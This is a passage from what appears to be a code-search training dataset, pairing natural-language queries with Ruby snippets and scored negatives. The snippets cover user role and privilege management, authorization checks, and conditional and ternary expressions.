revoke_admin\n authorize! @user\n @user.roles = @user.roles - ['admin']\n @user.save\n redirect_to @user, notice: t('user.revoked_admin', name: @user.username)\n end", "def set_user\n @user = User.find(params[:id])\n redirect_to admin_users_path, alert: 'You are Unauthorized to access that page' if @user.super_admin?\n end", "def set_user\n @user = User.find(params[:id])\n\n # only admins can CRUD non-regular users\n return if (@user.role == 'USER') || (current_user.role == 'ADMIN')\n render json: { error: 'Not allowed' }, status: :unauthorized\n end", "def drop_privileges(uid, gid, supplementary_groups)\n if ::Process::Sys.geteuid == 0\n uid_num = Etc.getpwnam(uid).uid if uid\n gid_num = Etc.getgrnam(gid).gid if gid\n\n supplementary_groups ||= []\n\n group_nums = supplementary_groups.map do |group|\n Etc.getgrnam(group).gid\n end\n\n ::Process.groups = [gid_num] if gid\n ::Process.groups |= group_nums unless group_nums.empty?\n ::Process::Sys.setgid(gid_num) if gid\n ::Process::Sys.setuid(uid_num) if uid\n ENV['HOME'] = Etc.getpwuid(uid_num).try(:dir) || ENV['HOME'] if uid\n end\n end", "def assign_administrator(user_id)\n\t\tadd_user(user_id, true, true)\n\tend", "def update\n user_group_ids = params[\"user_groups\"] || []\n user_group_ids.map! { |g| g.to_i }\n @user = User.find_by_id(params[:id])\n current_group_ids = @user.user_group_ids\n\n if params[\"user\"] && params[\"user\"][\"password\"].blank?\n params[\"user\"].delete(:password)\n params[\"user\"].delete(:password_confirmation)\n end\n\n if @user.update_attributes(params[\"user\"])\n is_logged = !@user.previous_changes.blank?\n if current_group_ids != user_group_ids\n @user.user_group_ids = user_group_ids\n @user.create_activity :edit_info, owner: current_user, params: {:detail => I18n.t('logs.edit_user', user_name: @user.user_full_name)} if !is_logged\n end\n redirect_to organization_users_path(params[:organization_id])\n return\n else\n @user_groups = UserGroup.get_all_user_groups_in_org(params[:organization_id])\n render :edit_temp\n return\n end\n end", "def update\n user_group_ids = params[\"user_groups\"] || []\n user_group_ids.map! { |g| g.to_i }\n @user = User.find_by_id(params[:id])\n current_group_ids = @user.user_group_ids\n\n if params[\"user\"] && params[\"user\"][\"password\"].blank?\n params[\"user\"].delete(:password)\n params[\"user\"].delete(:password_confirmation)\n end\n\n if @user.update_attributes(params[\"user\"])\n is_logged = !@user.previous_changes.blank?\n if current_group_ids != user_group_ids\n @user.user_group_ids = user_group_ids\n @user.create_activity :edit_info, owner: current_user, params: {:detail => I18n.t('logs.edit_user', user_name: @user.user_full_name)} if !is_logged\n end\n redirect_to organization_users_path(params[:organization_id])\n return\n else\n @user_groups = UserGroup.get_all_user_groups_in_org(params[:organization_id])\n render :edit_temp\n return\n end\n end", "def local_user_modify(handle:, name:, **kwargs)\n found_user = _get_local_user(handle, name)\n if found_user.nil?\n raise ImcOperationError.new(\"Modify Local User\", \"User doesn't exist\")\n end\n\n found_user.set_prop_multiple(**kwargs)\n handle.set_mo(mo: found_user)\n return handle.query_dn(dn: found_user.dn)\nend", "def update\n authorize! :assign_roles, @user if params[:user][:assign_roles]\n if @user.update_attributes(params[:user])\n redirect_to @user, notice: 'User was successfully updated.'\n else\n render \"edit\"\n end\n end", "def privileges(user=@session.user)\n eff_acl = effective_acl\n if eff_acl[user.id]\n return eff_acl[user.id].privileges\n end\n return eff_acl[Ecore::User.everybody.id].privileges if eff_acl[Ecore::User.everybody.id] and !user.id == Ecore::User.anybody.id\n return eff_acl[Ecore::User.anybody.id].privileges if eff_acl[Ecore::User.anybody.id]\n end", "def update!(**args)\n @user_access = args[:user_access] if args.key?(:user_access)\n end", "def update\n if any_unsub? && @user.update(user_updatable_params)\n # In case of Request #3 (unsubscriptions)\n # redirect_to confirmation for this request.\n redirect_to limit_right_confirmation_requests_path(user: @user)\n else\n #flash[:danger] = \"Erreur.\"\n if !any_unsub?\n flash[:danger]=\"Vous devez sélectionner au moins un choix\"\n end\n redirect_to limit_right_requests_path(user_id: @user.id)\n end\n end", "def set_user\n @user = User.find(params[:user_id])\n authorize @user\n end", "def update\n\n #Make sure only logged in admins can manipulate users\n\n if @loggedinuser && @loggedinuser.authorizationlevel >= 4\n #return render :text => params\n @user = User.find(params[:user][:id])\n if @user.update_attributes(params[:user])\n redirect_to :action => 'index'\n else\n render 'edit'\n end\n else \n redirect_to '/'\n end\n end", "def change_topics_owner\n self.topics.each do |topic|\n topic.user = User.where(:is_admin => true).first\n topic.save!\n end\n end", "def modify_guild_member(guild_id, user_id, reason: nil, nick: nil, roles: nil, mute: nil, deaf: nil, channel_id: nil)\n request(\n :guilds_gid_members_uid, guild_id,\n :patch,\n \"guilds/#{guild_id}/members/#{user_id}\",\n {nick: nick, roles: roles, mute: mute, deaf: deaf, channel_id: channel_id},\n 'X-Audit-Log-Reason': reason,\n )\n end", "def set_roles_privilege\n @roles_privilege = RolesPrivilege.find(params[:id])\n end", "def update\n if params[:user][:password].blank?\n params[:user].delete(\"password\")\n params[:user].delete(\"password_confirmation\")\n end\n\n @user = User.find(params[:id])\n @user.roles = [params[:role]]\n respond_to do |format|\n if @user.update_attributes(user_params)\n User.user_organizations_associations(@user, params)\n format.html { redirect_to privileges_path, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n # if @user.update_attributes(params[:user])\n # redirect_to privileges_path\n # end\n # @user = User.find(params[:id])\n # params[:user].delete(:current_password)\n # @user.update_without_password(params[:user])\n # redirect_to privileges_path\n # respond_to do |format|\n # if @user.update_attributes(params[:user])\n # format.html { redirect_to privileges_path, notice: 'User was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render action: \"edit\" }\n # format.json { render json: @user.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def set_user\n\t\t@user = current_user\n\t\tif !current_user.is_admin?\n\t\t\t# redirects to the denied path if not\n\t\t\tredirect_to denied_path\n\t\tend\n\tend", "def update_user\n @course = Course.find(params[:id])\n @user = User.find(params[:user_id])\n\n User::ROLES.each do |role|\n if params[:user][:roles].include? role\n @user.add_role role, @course\n else\n @user.remove_role role, @course\n end\n end\n\n flash[:notice] = \"User has been updated.\"\n redirect_to courses_users_url(@course)\n end", "def assign_user_rights\n SysUserRight.joins(:sys_user_group).where(:sys_user_groups => {:user_group_name => session[:user_privilege].user_groups}).each do |right|\n action_on_table = right.sys_action_on_table\n session[(action_on_table.action + '_' + action_on_table.table_name).to_sym] = true if action_on_table.action[-4..-1] == '_all' #ex, session[:index_all_users], for table\n session[(action_on_table.action + '_' + action_on_table.table_name + '_' + right.accessible_column_name).to_sym] =\n true if right.accessible_column_name.present? #ex, session[:index_users_each_column] (full access), session[:index_users_name], for columns in a record\n end\n end", "def switch_user\n volunteer = Volunteer.find(params[:volunteer_id].to_i)\n volunteer_region_ids = volunteer.regions.pluck(:id)\n admin_region_ids =\n current_volunteer.assignments.collect do |assignment|\n assignment.admin ? assignment.region.id : nil\n end.compact\n\n unless current_volunteer.super_admin? || (volunteer_region_ids & admin_region_ids).length > 0\n flash[:error] = \"You're not authorized to switch to that user!\"\n return redirect_to(root_path)\n end\n\n sign_out(current_volunteer)\n sign_in(volunteer)\n flash[:notice] = \"Successfully switched to user #{current_volunteer.name}.\"\n home\n end", "def chown(user, group, options={})\n #list = list.to_a\n fileutils.chown(user, group, list, options)\n end", "def privileges(user)\n\n\t\t# create a new privileges object with no rights\n\t\tp = TinyPrivileges.new\n\n\t\t# user must be specified\n\t\treturn p if user.nil?\n\n\t\t# an admin has full privileges\n\t\treturn p.grant_all if user.admin?\n\t\treturn p.grant_all if user == contract.facilitator\n\n\t\t##########################################\n\t\t# see if the user has an enrollment role on the contract here\n\t\tuser_role = contract.role_of(user)\n\n\t\t##########################################\n\t\t# USER IS NOT ENROLLED\n\t\t# if no role, then check for staff privileges\n\t\tif user_role.nil?\n\n\t\t\t# staff members can view and do notes\n\t\t\t# non-staff, non-enrolled user has no privileges\n\t\t\tp[:browse] = \n\t\t\tp[:view] = \n\t\t\tp[:create_note] = \n\t\t\tp[:view_students] = \n\t\t\tp[:view_note] = (user.privilege == User::PRIVILEGE_STAFF)\n\n\t\t\treturn p\n\t\tend\n\n\t\t##########################################\n\t\t# USER IS ENROLLED\n\t\t# FOR EDIT PRIVILEGES,\n\t\t# user must be instructor\n\t\tp[:edit] = (user_role >= Enrollment::ROLE_INSTRUCTOR)\n\t\t\n\t\t# FOR VIEW, NOTE PRIVILEGES,\n\t\t# user must be an instructor or a supervisor or the enrolled student\n\t\tp[:view] = \n\t\tp[:create_note] = \n\t\tp[:view_note] =\n\t\tp[:browse] = ((user_role >= Enrollment::ROLE_INSTRUCTOR) or\n\t\t\t\t\t\t\t\t\t(user.id == participant.id))\n\n\t\t# an instructor or supervisor can edit a note\n\t\tp[:view_students] = # bogus since an enrollment only deals with one student\n\t\tp[:edit_note] = user_role >= Enrollment::ROLE_INSTRUCTOR\n\t\treturn p\n\tend", "def change\n @user = current_user\n end", "def update\n @user = User.find(params[:id])\n if @user == current_user\n @user.update_attributes user_params\n redirect_to user_path(@user)\n else\n flash[:alert] = \"You do not have permission to edit this account\"\n redirect_to posts_path\n end\n end", "def set_user\n @user = User.friendly.find(params[:id])\n if @user.banned\n require_admin\n end\n end", "def moderator!(user, level: 50)\n return true if moderator?(user, target_level: level)\n\n user = user.id if user.is_a? User\n user = MXID.new(user.to_s) unless user.is_a? MXID\n raise ArgumentError, 'Must provide a valid user or MXID' unless user.user?\n\n modify_user_power_levels({ user.to_s.to_sym => level })\n end", "def update\n authorize(current_user)\n role = params[:user][:role_ids]\n roleModel =Role.find( role)\n if @user.setRole roleModel.name\n @user.save\n redirect_to users_path, :notice => \"Rolle geändert\"\n else\n redirect_to users_path, :notice => \"Rolle nicht geändert\"\n end\n end", "def permits_write_access_for(user)\n end", "def update\n @user = User.find(params[:id])\n authorize! :update, @user, :message => 'You are not authorized to perform this operation.'\n if @user.update_attributes(params[:user])\n redirect_to user_path(@user), :notice => \"You updated your account successfully. #{undo_link}\"\n else\n redirect_to user_path(@user), :alert => \"Unable to update user.\"\n end\n end" ]
[ "0.7994836", "0.7917318", "0.7519735", "0.7477421", "0.7240177", "0.7218914", "0.6424384", "0.6272503", "0.60630244", "0.59181756", "0.5894621", "0.5844101", "0.5828992", "0.5816531", "0.5789739", "0.5774821", "0.57575333", "0.56864345", "0.5675206", "0.5673839", "0.5669403", "0.56691134", "0.56529856", "0.564559", "0.564559", "0.5621073", "0.5608297", "0.5605143", "0.558946", "0.5584531", "0.5565765", "0.55559444", "0.55532414", "0.5553081", "0.5551315", "0.5535526", "0.5523447", "0.550931", "0.5496517", "0.5496025", "0.5476695", "0.5468992", "0.5467592", "0.54625285", "0.5449924", "0.5447909", "0.5443969", "0.5443291", "0.5437998", "0.54379433", "0.5422168", "0.5417404", "0.5409703", "0.5409385", "0.5408234", "0.5393677", "0.53780705", "0.5375382", "0.5368346", "0.53631395", "0.53625023", "0.5351487", "0.5349397", "0.5331667", "0.53270084", "0.5324454", "0.5317328", "0.53163207", "0.53150094", "0.53137475", "0.53084105", "0.5306127", "0.5305096", "0.530489", "0.530279", "0.530279", "0.52982885", "0.5297239", "0.5287156", "0.52835", "0.5283489", "0.52637434", "0.5254264", "0.52524453", "0.5250949", "0.52503127", "0.52470213", "0.5246834", "0.5242129", "0.5240973", "0.5237965", "0.52342254", "0.5231136", "0.5228794", "0.5225623", "0.5224418", "0.5221974", "0.5215586", "0.5206909", "0.5206068" ]
0.6280716
7
By default make first user to add any text an author.
def author_worthy? notes? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_author\n add_author_editor \"author\"\n end", "def add_author_or_editor\n return unless !@save_without_our_callbacks && (user = User.current)\n\n authors.empty? && author_worthy? ? add_author(user) : add_editor(user)\n end", "def check_author\n if self.author.blank?\n self.author = 'anon'\n end\n end", "def add_author(name)\n aux = name.split\n autor = Author.new(aux[1..-1].join(\" \"),aux[0][0].capitalize)\n @Author << autor \n end", "def add_author(user)\n return if authors.member?(user)\n\n authors.push(user)\n SiteData.update_contribution(:add, authors_join_table, user.id)\n return unless editors.member?(user)\n\n editors.delete(user)\n SiteData.update_contribution(:del, editors_join_table, user.id)\n end", "def set_AuthorUsername(value)\n set_input(\"AuthorUsername\", value)\n end", "def set_author(name, email=nil)\n self.actor = name ? Grit::Actor.new(name, (email ? email : '')) : nil\n end", "def author; end", "def set_author\n author_reference.reference = \"Patient/#{user.icn}\"\n end", "def add_author(name, email = nil)\n @authors << {:name => name, :email => email}\n end", "def author \n user.firstname + ' ' + user.lastname\n end", "def default_author\n if author \n author \n else\n 'joe'\n end \n end", "def set_AuthorName(value)\n set_input(\"AuthorName\", value)\n end", "def set_author_name\n # Handles toggling between fake and real names (at edit)\n if anonymouse_changed?\n if self.anonymouse?\n self.author_name = Faker::Name.name\n else\n self.author_name = self.user.name\n end\n end\n # Handles\n if !self.anonymouse?\n self.author_name = self.user.name\n end\n end", "def author\n @author ||= get_author\n end", "def author\n \"#{user.name} (#{user.login})\"\n end", "def author\n user\n end", "def author_tag(text); end", "def add_post(post)\n post.author = self \n end", "def author\n \"#{user.firstname} #{user.lastname}\"\n end", "def set_author\n @author = User.find(params[:id])\n end", "def author(name, email)\n @commit_author = Grit::Actor.new(name, email)\n end", "def resolved_author; end", "def set_author_id\n if self.author_id.blank?\n self.author_id = self.user_id\n end\n end", "def set_author_id\n if self.author_id.blank?\n self.author_id = self.user_id\n end\n end", "def add_post(post)\n post.author = self\n end", "def add_post(post)\n post.author = self\n end", "def add_post(post)\n post.author = self\n end", "def set_author\n @creator = Creator.find(params[:id])\n end", "def add_author_editor(type)\n contribs = @bib.contributor.select do |c|\n c.entity.is_a?(Person) && c.role.any? { |e| e.type == type }\n end.map &:entity\n\n return unless contribs.any?\n\n @item.send \"#{type}=\", concat_names(contribs)\n end", "def author\n # data = QuestionsDatabase.instance.execute(\"SELECT fname, lname FROM questions\")\n User.find_by_user_id(@author_id)\n\n end", "def author\n @author ||= begin\n name = grit.config['user.name']\n email = grit.config['user.email']\n Grit::Actor.new(name, email)\n end\n end", "def authors()\n authors_or_editors(@text[:author].to_names) if @text[:author]\n end", "def author_name=(author_name)\n self.author = Author.find_or_create_by(name: author_name)\n end", "def author_login\r\n user.login if user\r\n end", "def set_author\n @author = Author.friendly.find(params[:author_name])\n end", "def add_author( solr_doc, author_number, authors )\n\n role = solr_doc.at_path( \"mods_0_name_#{author_number}_role_0_text_t[0]\" )\n if role && role.include?( 'author' )\n cid = solr_doc.at_path( \"mods_0_name_#{author_number}_computing_id_t[0]\" )\n fn = solr_doc.at_path( \"mods_0_name_#{author_number}_first_name_t[0]\" )\n ln = solr_doc.at_path( \"mods_0_name_#{author_number}_last_name_t[0]\" )\n dept = solr_doc.at_path( \"mods_0_name_#{author_number}_description_t[0]\" )\n ins = solr_doc.at_path( \"mods_0_name_#{author_number}_institution_t[0]\" )\n\n return add_person( authors, author_number, cid, fn, ln, dept, ins )\n end\n\n # could not find the next author, we are done\n return false, authors\n end", "def author_name\n self.author ? \"#{self.author}\" : 'Anonymous'\n end", "def author\n @author ||= begin\n UnfuddleAPI::People.find(self[:author_id]).username\n rescue\n ''\n end\n end", "def author\n @author ||=\n convert_content(item_attributes!.author) ||\n convert_content(item_attributes!.creator) ||\n \"\"\n end", "def author\n @author_data ||= read(\"/user/#{@author}/about.json\", :handler => \"User\")\n end", "def set_author\n @author = apply_scopes(Author).find(params[:id]) rescue nil\n end", "def author=(new_author = nil)\n @info[:Author] = new_author\n end", "def add_editor\n add_author_editor \"editor\"\n end", "def author_login=(name)\r\n self.user = User.find_by_login(name)\r\n end", "def new\n @article = Article.new\n @user = User.find(current_user.id)\n if !@user.author\n author = @user.build_author\n author.pseudo_last = @user.last_name\n author.pseudo_first = @user.first_name\n author.save\n end\n end", "def add_authors\n text = params[:text]\n puts \"str:#{text}\"\n request = Net::HTTP::Post.new(\"/personality-api/1/add_authors.json\")\n request.basic_auth BmnPersonalityApiSkeletonRor::Application.config.user_name, BmnPersonalityApiSkeletonRor::Application.config.password\n request.set_form_data({ :text => text\n })\n logger.debug(\"request #{request}\");\n response = @http.request(request)\n render :text => response.body\n\n end", "def set_author\n @author = Author.friendly.find(params[:id])\n end", "def set_AuthorID(value)\n set_input(\"AuthorID\", value)\n end", "def author; @author; end", "def author; @author; end", "def author=(author)\n @author = author\n end", "def initilize(user_name = 'you')\n @reader = user_name\n @authors = %w(sugamasao takkanm hibariya ryopeko)\n end", "def author=(author) #setter\n @author = author\n end", "def author\n user || OpenStruct.new({\n :nicename => external_author_name,\n :email => \"%s@%s\" % [external_author_id, Doers::Config.app_id]\n })\n end", "def author value = nil\n return @author if value.nil?\n @author = value\n end", "def check_author\n return unless self.is_author\n\n self.name = BLARG_CONFIG['admin']['name']\n self.email = BLARG_CONFIG['admin']['email']\n self.url = BLARG_CONFIG['blog']['url']\n self.is_human = BLARG_CONFIG['comments']['is_human_answer']\n end", "def author\n\t\t@author\n\tend", "def author=(author)\n @author = author.to_s.strip\n end", "def author\n @author ||= User.find_by_id(author_id)\n end", "def set_author(new_author)\r\n @author = new_author\r\n return self\r\n end", "def author_name\n self.author.name if author \n end", "def author_name\n user_data.name || login\n end", "def author\n @author ||= User.find_by_id(author_id) unless author_id.nil?\n end", "def createAuthor(name=nil)\n params = {}\n params[:name] = name unless name.nil?\n call :createAuthor, params\n end", "def author\n @author ||= Readability::Document.new(@html).author\n end", "def author_name\n author.full_name if author\n end", "def save_article\n self.name_article\n self.users << CLI.active_user\n self.save\n end", "def author\n response = read(\"/user/#{@author}/about.json\", :handler => \"User\") if @author\n @author_data ||= response[0] if response\n end", "def set_author_on_subject(author, subject)\n if content = subject.contents.first\n content.update_attributes(\n authorable_id: author.id,\n authorable_type: author.class.name\n )\n end\n end", "def is_author_of?(name)\n self.is_author? and !self.programs.find_by_name(name).nil?\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def author\n @author ||= AuthorDrop.new(:page => page, :site => site)\n end", "def author\n @author\n end", "def initialize(text, author, exists = false)\n @text = text\n @author = author\n @exists = exists\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def set_author\n @author = Author.find(params[:id])\n end", "def review_authors # :norobots:\n pass_query_params\n @object = AbstractModel.find_object(params[:type], params[:id].to_s)\n @authors = @object.authors\n parent = @object.parent\n if @authors.member?(@user) || @user.in_group?(\"reviewers\")\n @users = User.all(order: \"login, name\")\n new_author = params[:add] ? User.find(params[:add]) : nil\n if new_author && !@authors.member?(new_author)\n @object.add_author(new_author)\n flash_notice(\"Added #{new_author.legal_name}\")\n # Should send email as well\n end\n old_author = params[:remove] ? User.find(params[:remove]) : nil\n if old_author && @authors.member?(old_author)\n @object.remove_author(old_author)\n flash_notice(\"Removed #{old_author.legal_name}\")\n # Should send email as well\n end\n else\n flash_error(:review_authors_denied.t)\n redirect_with_query(controller: parent.show_controller,\n action: parent.show_action, id: parent.id)\n end\n end", "def SetAuthor(author)\n\t\t#Author of document\n\t\t@author = author\n\tend", "def author=(o)\n self.authors = [o]\n end", "def add_post(post)\n @posts << post #pushes post into post array so that we can compare the author with that author\n post.author = self\nend", "def\n get_author()\n @author\n end", "def set_author\r\n @author = Author.find(params[:id])\r\n end", "def generate_author(author_name, author_ff)\n author = Author.find_by_name(author_name)\n if !author # if it doesn't exist, add it\n generate_log(\"Generating New Author: #{author_name}\")\n author = Author.new()\n author.name = author_name\n author.ff_id = author_ff\n else\n generate_log(\"Author Exists: #{author_name}\")\n end\n author\nend", "def tweet_users\n if authors.size > 1\n \"#{submitting_author.nice_name} et al.\"\n else\n submitting_author.nice_name\n end\n end", "def author\n if user_id\n @author ||= Author.new(instance, user_id)\n else\n nil\n end\n end", "def author\n @author ||= Person.new(connection, @attributes[:author])\n end", "def author\n url = @json['user']['meta']['author']\n data = client.get url\n client.factory.create(GoodData::Membership, data)\n end", "def author_name\n self.author ? self.author.name : nil\n end", "def get_author()\n @author\n end" ]
[ "0.76958305", "0.7280693", "0.6958008", "0.69060904", "0.68670166", "0.68141496", "0.672624", "0.66647744", "0.6655699", "0.6641907", "0.6632145", "0.65999115", "0.65192175", "0.6497371", "0.64922494", "0.64802384", "0.64488286", "0.6411424", "0.64106786", "0.640214", "0.6396815", "0.637146", "0.6355731", "0.6354067", "0.6354067", "0.6352179", "0.6352179", "0.6352179", "0.63283527", "0.6314922", "0.6312351", "0.6302618", "0.6270876", "0.6252403", "0.6235545", "0.62296915", "0.6223938", "0.6203025", "0.61700904", "0.6164009", "0.6154339", "0.6143909", "0.61357087", "0.6129018", "0.61177886", "0.6113162", "0.6113012", "0.6108304", "0.61071724", "0.60989964", "0.60989964", "0.6086614", "0.6083584", "0.6081838", "0.60817343", "0.6044566", "0.6036926", "0.60354733", "0.6005699", "0.6005022", "0.5988801", "0.5983719", "0.5974374", "0.5971812", "0.5965016", "0.59613365", "0.59255755", "0.59243506", "0.59228545", "0.5912991", "0.59091157", "0.59086525", "0.5905163", "0.59018534", "0.5901581", "0.5900701", "0.5900701", "0.5900701", "0.5900701", "0.5900701", "0.5900701", "0.5900701", "0.5900701", "0.5900701", "0.5900701", "0.5900701", "0.5900701", "0.5900701", "0.589942", "0.58953506", "0.58908653", "0.58897907", "0.5884471", "0.58838665", "0.58791006", "0.5875426", "0.5873347", "0.5860922", "0.5860511", "0.58579844", "0.5853542" ]
0.0
-1
returns on of %i[ternary if unless elsif]
def style keyword = loc_hash[:keyword] keyword ? keyword.source.to_sym : :ternary end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def not_if(val) val ? :not_to : :to end", "def conditionally(*) end", "def conditionally(*) end", "def ternary(statement, true_result, false_result)\n statement && true_result || false_result\nend", "def switch(it)\n it == true ? false : true\nend", "def foo a\r\n if a==1; \"one\" elsif a==2; \"two\" else \"unknown\" end\r\nend", "def on_ifop(statement, true_val, false_val)\n return Node.new(\n :ternary,\n [statement, true_val, false_val],\n metadata\n )\n end", "def vowels_with_ternary_operator(letter)\n (vowels.include? letter) ? true : false # this only seems to work when I put the conditional in parenthesis\nend", "def yeah_or_booh boolean\n boolean && 'yeah' || 'booh'\nend", "def on_ternary_if(node)\n comparsion, op = node.children\n node.children.concat op.children.slice!(2..-1)\n\n on_ternary_if_boolean(node)\n end", "def conditionally_false\n\t\t!self\n\tend", "def check_else(els)\n # put through translator with original target to mimic as if\n # else were change;\n # literal=true to make sure always x>y syntax\n return initial(@rule[0], els, true).sub(/\\A(.*)>/, '').strip\n end", "def with_falsy\n yield nil\n yield false\nend", "def render_output_of_ternary(ternary_arr, df_data)\n value_for_field_name(ternary_arr[0], df_data).present? ? ternary_arr[1] : ternary_arr[2]\n end", "def or_else(&blk)\n yield value\n end", "def unless_condition; end", "def compile_ternif(scope, cond, alt)\n if alt.is_a?(Array) && alt[0] == :ternalt\n if_arm = alt[1]\n else_arm = alt[2]\n else\n if_arm = alt\n end\n compile_if(scope,cond,if_arm,else_arm)\n end", "def compile_ternif(scope, cond, alt)\n if alt.is_a?(Array) && alt[0] == :ternalt\n if_arm = alt[1]\n else_arm = alt[2]\n else\n if_arm = alt\n end\n compile_if(scope,cond,if_arm,else_arm)\n end", "def emit_inverted_condition\n emit_self(new_send(condition, :'!'), if_branch, else_branch)\n end", "def make_if test, zero, not_zero\n noop = \":\"\n \"if [ \\\"0\\\" -eq \\\"$#{test}\\\" ]; then #{zero || noop}; else #{not_zero || noop} ; fi\"\n end", "def if_proc; end", "def if_proc=(_arg0); end", "def drink_milk(thirsty = true)\n return \"I am not thirsty\" if thirsty == false\nend", "def emit_false_if_branch\n emit_self(new(Rubinius::AST::FalseLiteral), if_branch, else_branch)\n end", "def ternary_condition(value)\n\t\tis_strike?(value) ? 10 : value\n\tend", "def default_if_not_specified(opt,default_opt)\n opt ? opt : default_opt\nend", "def test_unless_statement_modifier\n result = :default_value\n result = :false_value unless false\n\n assert_equal :false_value, result\n end", "def extract_cond!(transitions)\n cond = transitions.slice(:if, :unless)\n transitions.delete(:if)\n transitions.delete(:unless)\n cond\n end", "def on_ternary_if_boolean(node)\n comparsion, condition, if_true, if_false = node.children\n if comparsion\n node.update(:ternary, [ condition, if_true, if_false ])\n else\n node.update(:ternary, [ condition, if_false, if_true ])\n end\n end", "def some_method(x)\n if x > 5 && x < 10\n return :a\n elsif x < 5\n return :b\n end # else??\n \n :c\nend", "def normalize_ifs(ifs)\n case ifs\n when NilClass\n nil\n when Array\n ifs.map do |iff|\n lambda { val = variables.value_of(iff.to_s); !val.nil? && !val.kind_of?(FalseClass) && val != 'false' }\n end\n when Hash\n ifs.each_with_object([]) do |(k, v), arr|\n arr << lambda { variables.value_of(k.to_s) == v }\n end\n when String, Symbol\n [lambda { val = variables.value_of(ifs.to_s); !val.nil? && !val.kind_of?(FalseClass) && val != 'false' }]\n else\n raise TypeError, \"Invalid syntax for if: #{ifs.inspect}\"\n end\n end", "def process_if exp\n exp = exp.dup\n condition = exp[1] = process exp.condition\n\n if true? condition\n exp[2] = process exp.then_clause if exp.then_clause\n exp[3] = nil\n elsif false? condition\n exp[2] = nil\n exp[3] = process exp.else_clause if exp.else_clause\n else\n exp[2] = process exp.then_clause if exp.then_clause\n exp[3] = process exp.else_clause if exp.else_clause\n end\n\n exp\n end", "def default?; return !explicit?; end", "def conditionally_true\n\t\t!!self\n\tend", "def odd_or_even(number)\n number.odd? ? \"The number is odd\" : \"The number is even\"\nend", "def map_noifs!(&ruby_block)\n @noifs.map! do |cond,stmnt|\n cond,stmnt = ruby_block.call(cond,stmnt)\n # cond, stmnt = ruby_block.call(cond), ruby_block.call(stmnt)\n cond.parent = self unless cond.parent\n stmnt.parent = self unless stmnt.parent\n [cond,stmnt]\n end\n end", "def method4(a)\n if a\n puts \"bam\"\n end\n unless(a)\n puts \"baz\"\n end\n end", "def false_true\n alternatives false, true\n end", "def test_unless_statement\n result = :default_value\n unless false # same as saying 'if !false', which evaluates as 'if true'\n result = :false_value\n end\n assert_equal :false_value, result\n end", "def value_if_false\n return @value_if_false\n end", "def even_odd(number)\n number.even? ? \"#{number} is even!\" : \"Noo! #{number} is odd!!!\"\n #last line, one statement, this will be auto returned from defined method\nend", "def else_clause\n expect :if\n self[3]\n end", "def even_or_odd(number)\n number.even? ? \"Even\" : \"Odd\"\nend", "def even_or_odd(num)\n num.even? ? \"That is an even number\" : \"That number is not even\"\nend", "def either_only(number)\n if number % 3 == 0 && number % 5 != 0\n return \"true\"\n elsif number % 3 != 0 && number % 5 == 0\n return \"true\"\n else\n return \"false\"\n end\nend", "def else *guards, &block\n if guards.empty? \n return self if self\n else\n guards.each do |cond|\n return self if send_as_function(cond)\n end\n end\n\n block_given? ? yield_or_eval(&block) : self\n end", "def | other\n call_enum \"boolean\", other, :or\n end", "def cond02 v \n unless v == 10\n return \"v: #{v} es diferente de 10\"\n else\n return \"v: #{v} es 10\"\n end\nend", "def if_condition; end", "def odd?\n !even?\n end", "def triple_expression?; false; end", "def even_or_odd(number)\n number.even? ? 'That number is even ' : 'That number is odd'\nend", "def odd?\n return !even?\n end", "def else?\n !loc.else.nil?\n end", "def even_or_odd\n\t\treturn self.odd? ? \"odd\" : \"even\"\n\tend", "def map_if?(val, &block)\n if val\n yield val\n end\n end", "def returns_one?\n rule != :each\n end", "def yeah_or_boo( a,b )\n (a > b) && 'yeah' || 'boo'\nend", "def odd_or_even(number)\n if number.odd?\n \"odd\"\n else\n \"even\"\n end\nend", "def not( arg ); { $not => arg } end", "def is_old? #any tiem you see a method with a ? after it only returns a true or false value\n @age > 80 ? true : false #ternary value\n # the method below\n # if @age > 80\n # true\n # else\n # false\n end", "def lovefunc(flower1, flower2)\n flower1Odd = flower1.odd?\n flower2Odd = flower2.odd?\n flower1Even = flower1.even?\n flower2Even = flower2.even?\n \n firstOddSecondEven = flower1Odd && flower2Even\n firstEvenSecondOdd = flower1Even && flower2Odd\n\n inLove = firstOddSecondEven || firstEvenSecondOdd\n \n return inLove\nend", "def _invert_filter(cond, invert)\n if invert == :or_null\n ~SQL::Function.new(:coalesce, cond, SQL::Constants::SQLFALSE)\n else\n super\n end\n end", "def odd_or_even(num)\n if num % 2 === 0\n return \"#{num} is even.\"\n else\n return \"#{num} is odd.\"\n end\nend", "def cond; end", "def cond; end", "def cond; end", "def get_or_else(val_or_lam = nil, &blk)\n v_or_f = val_or_lam || blk\n if !empty? then value else (v_or_f.respond_to?(:call) ? v_or_f.call : v_or_f) end\n end", "def cond=(_arg0); end", "def cond=(_arg0); end", "def cond=(_arg0); end", "def or_nil\n get_or_else(nil)\n end", "def func_unless(args)\n p1 = car(args)\n p2 = cdr(args)\n if _eval(p1) != nil\n return func_progn(p2)\n end\n\n return @o_man.nil\n end", "def one_two_or_three(n)\n if n == 1\n return 'one'\n elsif n == 2\n return 'two'\n else\n return 'three'\n end\nend", "def logical(input)\n if @invert\n if input == 0\n return true\n else\n return false\n end\n else\n if input == 0\n return false\n else\n return true\n end\n end\n end", "def get_boolean value #:nodoc:\n # some exceptions\n value = false if value == :low or value == 0 or value == nil or value == :off or value == :ground or value == :gnd\n !! value # double invert value in to boolean form\n end", "def none a,b=:true\n a.prove {\n b.prove { return } \n }\n 